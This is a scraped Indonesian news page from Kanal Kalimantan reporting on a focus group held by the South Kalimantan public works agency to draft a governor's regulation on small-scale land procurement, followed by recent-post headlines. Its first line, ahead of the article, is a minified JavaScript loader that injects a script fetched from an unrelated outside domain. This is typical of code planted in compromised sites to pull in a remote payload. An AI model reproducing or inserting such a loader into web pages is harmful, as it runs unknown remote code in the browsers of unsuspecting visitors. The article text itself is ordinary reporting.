(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
PUPR PROV KALSEL

Susun Pergub Tentang Pengadaan Tanah untuk Kepentingan Umum, Dinas PUPR Kalsel Gelar FGD


KANALKALIMANTAN.COM, BANJARMASIN – Melalui kegiatan Forum Group Discussion (FGD) Dinas Pekerjaan Umum dan Penataan Ruang (PUPR) Provinsi Kalimantan Selatan (Kalsel) menyusun rancangan Peraturan Gubernur (Pergub) tentang Pengadaan Tanah untuk Kepentingan Umum.

FGD terkait penyusunan regulasi ini digelar di Banjarmasin, Kamis (12/6/2025) siang dengan melibatkan sejumlah pemangku kepentingan dari berbagai kabupaten/kota.

Baca juga: Proses di Kemendagri, Pelantikan Lisa-Wartono Tunggu Jadwal Gubernur Kalsel

Penyusunan Pergub ini merupakan turunan dan pendetailan dari berbagai regulasi nasional, antara lain Peraturan Menteri ATR/Kepala BPN Nomor 19 Tahun 2021, Peraturan Presiden Nomor 19 Tahun 2021, serta Peraturan Presiden Nomor 39 Tahun 2023.

Plt Kepala Dinas PUPR Kalsel, Wahid Ramadani melalui Kepala Bidang Penataan Ruang dan Pertanahan, Muhammad Nursjamsi, menjelaskan bahwa Pergub ini diharapkan dapat menyamakan persepsi dan prosedur pengadaan tanah skala kecil di seluruh kabupaten/kota.

“Kami di Dinas PUPR Bidang Pertanahan memang sedang menyusun Pergub ini agar pengadaan tanah, khususnya untuk skala kecil, bisa seragam di seluruh Kalsel,” ujar Nursjamsi.

Baca juga: APBD 2024 Banjarbaru Realisasi Pendapatan Mencapai 119,7%

Ia menambahkan, saat ini regulasi dari pemerintah pusat lebih banyak mengatur pengadaan tanah skala besar. Sementara untuk skala kecil, belum ada pedoman teknis yang menyeluruh dan seragam, sehingga kerap menimbulkan perbedaan di tingkat daerah.

“Kita berharap dengan adanya Pergub ini, pengadaan tanah skala kecil di kabupaten/kota bisa sama dan tidak menimbulkan persoalan di kemudian hari,” jelas dia.

Dinas PUPR Kalsel menargetkan penyusunan Pergub rampung tahun ini, agar pada 2026 sudah bisa digunakan sebagai acuan resmi pengadaan tanah di daerah.

Baca juga: Hadiri Pelantikan Kepala Sekolah, Ini Harapan Ketua DPRD Kapuas

Selain itu, Nursjamsi juga mendorong pemerintah kabupaten/kota untuk menyusun regulasi turunannya berupa Peraturan Bupati (Perbup) atau Peraturan Wali Kota agar pengaturan teknis lebih rinci bisa disesuaikan dengan kebutuhan lokal.

“Kami berharap kabupaten/kota juga aktif menyusun Perbup atau Perwali yang lebih rinci agar pelaksanaan pengadaan tanah berjalan lebih tertib, efisien, dan akuntabel,” pungkas dia. (Kanalkalimantan.com/MCKalsel/kk)

Reporter: kk
Editor: Dhani


Risa

Recent Posts

Bupati Wiyatno Temui Mensos, Pembangunan Sekolah Rakyat di Basarang Mulai Tahun Ini

KANALKALIMANTAN.COM, KUALA KAPUAS - Bupati Kapuas H Muhammad Wiyatno menemui langsung Menteri Sosial RI Saifullah… Read More

6 jam ago

Banjir di Kalsel, Mahasiswa: Warga Tak Hanya Butuh Logistik, Tapi Solusi Jangka Panjang!

Ketua BEM ULM: Siapapun yang Datang Tidak Akan Menjawab Persoalan-Persoalan di Kalsel Read More

7 jam ago

Kabupaten Kapuas Dapat Bantuan Pembangunan Sekolah Rakyat Rp250 Miliar dari Kemensos RI

KANALKALIMANTAN.COM, KUALA KAPUAS - Kabupaten Kapuas dipastikan menerima bantuan pembangunan Sekolah Rakyat dari pemerintah pusat… Read More

8 jam ago

Kembangkan TPST Pemkab Kapuas Dapat Suntikan Dana dari Bank Dunia

KANALKALIMANTAN.COM, KUALA KAPUAS - Pemerintah Kabupaten (Pemkab) Kapuas mendapat suntikan pendanaan dari Bank Dunia melalui… Read More

8 jam ago

Tinjau Banjir di Kalsel, Wapres Gibran Minta Percepatan Pemulihan

KANALKALIMANTAN.COM, MARTAPURA — Wakil Presiden (Wapres) Republik Indonesia (RI) Gibran Rakabuming Raka meninjau banjir di… Read More

9 jam ago

Lengkap! UMP dan UMK Kalimantan Tengah 2026, Palangkaraya Masih Masuk Peringkat Terendah

Gubernur Kalimantan Tengah telah menetapkan kenaikan UMP Kalimantan Tengah tahun 2026. Berdasarkan surat resmi yang… Read More

14 jam ago

This website uses cookies.